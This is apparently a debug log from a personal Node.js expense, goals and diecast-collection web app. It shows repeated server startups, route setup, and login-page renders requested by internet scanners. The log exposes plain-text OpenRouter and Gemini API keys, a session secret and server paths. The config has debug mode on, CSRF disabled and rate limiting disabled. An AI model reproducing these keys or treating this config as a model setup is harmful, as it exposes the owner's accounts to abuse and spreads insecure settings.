2026-06-15T18:28:29.981Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-15T18:28:29.981Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-15T18:28:29.981Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-15T18:28:29.982Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-15T18:28:29.982Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-15T18:28:29.982Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-15T18:28:29.982Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-15T18:28:29.983Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-15T18:28:29.983Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-15T18:28:29.983Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-15T18:28:29.983Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-15T18:28:29.984Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-15T18:28:29.984Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-15T18:28:29.984Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-15T18:28:29.984Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-15T18:28:29.984Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-15T18:28:29.985Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-15T18:28:29.985Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-15T18:28:29.985Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-15T18:28:29.985Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-15T18:28:29.985Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-15T18:28:30.046Z server-connect:router Serving templateView /
2026-06-15T18:28:30.077Z server-connect:app Executing action step identify
2026-06-15T18:28:30.078Z server-connect:app options: { provider: 'security' }
2026-06-15T18:28:30.079Z server-connect:auth No login cookie found
2026-06-15T18:28:30.079Z server-connect:output identity: false
2026-06-15T18:28:30.079Z server-connect:app Executing action step restrict
2026-06-15T18:28:30.079Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-15T18:28:30.083Z server-connect:output restrict: undefined
2026-06-15T18:28:30.191Z server-connect:router Serving templateView /login
2026-06-15T18:28:30.192Z server-connect:app Executing action step identify
2026-06-15T18:28:30.192Z server-connect:app options: { provider: 'security' }
2026-06-15T18:28:30.192Z server-connect:auth No login cookie found
2026-06-15T18:28:30.192Z server-connect:output identity: false
2026-06-15T18:28:30.192Z server-connect:router Render template layouts/authentication
2026-06-15T18:28:30.193Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '198.235.24.185',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-16T18:28:30.190Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '198.235.24.185',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '198.235.24.185',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-16T09:39:09.134Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-16T09:39:11.365Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-16T09:39:12.228Z server-connect:setup:upload Upload middleware configured.
2026-06-16T09:39:12.228Z server-connect:secure CSRF Protection initialized
2026-06-16T09:39:12.233Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-16T09:39:12.234Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-16T09:39:12.235Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-16T09:39:12.238Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-16T09:39:12.246Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-16T09:39:12.249Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-16T09:39:12.262Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-16T09:39:12.275Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-16T09:39:12.279Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-16T09:39:12.281Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-16T09:39:12.283Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-16T09:39:12.287Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-16T09:39:12.292Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-16T09:39:12.302Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-16T09:39:12.307Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-16T09:39:12.377Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-16T09:39:12.378Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-16T09:39:12.385Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-16T09:39:12.390Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-16T09:39:12.395Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-16T09:39:12.396Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-16T09:39:12.404Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-16T09:39:12.407Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-16T09:39:12.413Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-16T09:39:12.413Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-16T09:39:12.417Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-16T09:39:12.419Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-16T09:39:12.421Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-16T09:39:12.427Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-16T09:39:12.430Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-16T09:39:12.430Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-16T09:39:12.433Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-16T09:39:12.436Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-16T09:39:12.439Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-16T09:39:12.445Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-16T09:39:12.449Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-16T09:39:12.451Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-16T09:39:12.461Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-16T09:58:50.752Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-16T09:58:50.952Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-16T09:58:51.044Z server-connect:setup:upload Upload middleware configured.
2026-06-16T09:58:51.045Z server-connect:secure CSRF Protection initialized
2026-06-16T09:58:51.047Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-16T09:58:51.048Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-16T09:58:51.049Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-16T09:58:51.049Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-16T09:58:51.050Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-16T09:58:51.050Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-16T09:58:51.051Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-16T09:58:51.052Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-16T09:58:51.052Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-16T09:58:51.053Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-16T09:58:51.079Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-16T09:58:51.079Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-16T09:58:51.079Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-16T09:58:51.080Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-16T09:58:51.080Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-16T09:58:51.081Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-16T09:58:51.081Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-16T09:58:51.081Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-16T09:58:51.081Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-16T09:58:51.082Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-16T09:58:51.082Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-16T09:58:51.082Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-16T09:58:51.083Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-16T09:58:51.083Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-16T09:58:51.083Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-16T09:58:51.083Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-16T09:58:51.084Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-16T09:58:51.084Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-16T09:58:51.084Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-16T09:58:51.084Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-16T09:58:51.085Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-16T09:58:51.085Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-16T09:58:51.085Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-16T09:58:51.085Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-16T09:58:51.085Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-16T09:58:51.085Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-16T09:58:51.086Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-16T09:58:51.086Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-16T09:58:54.856Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-16T09:58:55.021Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-16T09:58:55.108Z server-connect:setup:upload Upload middleware configured.
2026-06-16T09:58:55.108Z server-connect:secure CSRF Protection initialized
2026-06-16T09:58:55.110Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-16T09:58:55.112Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-16T09:58:55.112Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-16T09:58:55.113Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-16T09:58:55.113Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-16T09:58:55.114Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-16T09:58:55.115Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-16T09:58:55.116Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-16T09:58:55.118Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-16T09:58:55.119Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-16T09:58:55.119Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-16T09:58:55.119Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-16T09:58:55.120Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-16T09:58:55.120Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-16T09:58:55.120Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-16T09:58:55.121Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-16T09:58:55.121Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-16T09:58:55.121Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-16T09:58:55.122Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-16T09:58:55.122Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-16T09:58:55.122Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-16T09:58:55.122Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-16T09:58:55.123Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-16T09:58:55.123Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-16T09:58:55.123Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-16T09:58:55.123Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-16T09:58:55.124Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-16T09:58:55.124Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-16T09:58:55.124Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-16T09:58:55.125Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-16T09:58:55.125Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-16T09:58:55.125Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-16T09:58:55.125Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-16T09:58:55.125Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-16T09:58:55.126Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-16T09:58:55.126Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-16T09:58:55.126Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-16T09:58:55.126Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-16T16:05:00.921Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-16T16:05:03.127Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-16T16:05:03.991Z server-connect:setup:upload Upload middleware configured.
2026-06-16T16:05:03.991Z server-connect:secure CSRF Protection initialized
2026-06-16T16:05:03.996Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-16T16:05:04.000Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-16T16:05:04.000Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-16T16:05:04.002Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-16T16:05:04.008Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-16T16:05:04.016Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-16T16:05:04.026Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-16T16:05:04.039Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-16T16:05:04.043Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-16T16:05:04.045Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-16T16:05:04.048Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-16T16:05:04.051Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-16T16:05:04.057Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-16T16:05:04.066Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-16T16:05:04.072Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-16T16:05:04.143Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-16T16:05:04.144Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-16T16:05:04.150Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-16T16:05:04.154Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-16T16:05:04.158Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-16T16:05:04.161Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-16T16:05:04.168Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-16T16:05:04.171Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-16T16:05:04.176Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-16T16:05:04.179Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-16T16:05:04.181Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-16T16:05:04.184Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-16T16:05:04.187Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-16T16:05:04.193Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-16T16:05:04.195Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-16T16:05:04.197Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-16T16:05:04.199Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-16T16:05:04.203Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-16T16:05:04.205Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-16T16:05:04.211Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-16T16:05:04.215Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-16T16:05:04.218Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-16T16:05:04.227Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-16T16:05:04.718Z server-connect:router Serving templateView /
2026-06-16T16:05:04.720Z server-connect:app Executing action step identify
2026-06-16T16:05:04.720Z server-connect:app options: { provider: 'security' }
2026-06-16T16:05:04.722Z server-connect:auth No login cookie found
2026-06-16T16:05:04.723Z server-connect:output identity: false
2026-06-16T16:05:04.723Z server-connect:app Executing action step restrict
2026-06-16T16:05:04.723Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-16T16:05:04.726Z server-connect:output restrict: undefined
2026-06-16T16:05:04.868Z server-connect:router Serving templateView /login
2026-06-16T16:05:04.868Z server-connect:app Executing action step identify
2026-06-16T16:05:04.868Z server-connect:app options: { provider: 'security' }
2026-06-16T16:05:04.869Z server-connect:auth No login cookie found
2026-06-16T16:05:04.869Z server-connect:output identity: false
2026-06-16T16:05:04.869Z server-connect:router Render template layouts/authentication
2026-06-16T16:05:04.870Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '104.197.158.165',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-17T16:05:04.866Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '104.197.158.165',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '104.197.158.165',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-16T16:19:57.205Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-16T16:19:57.391Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-16T16:19:57.467Z server-connect:setup:upload Upload middleware configured.
2026-06-16T16:19:57.467Z server-connect:secure CSRF Protection initialized
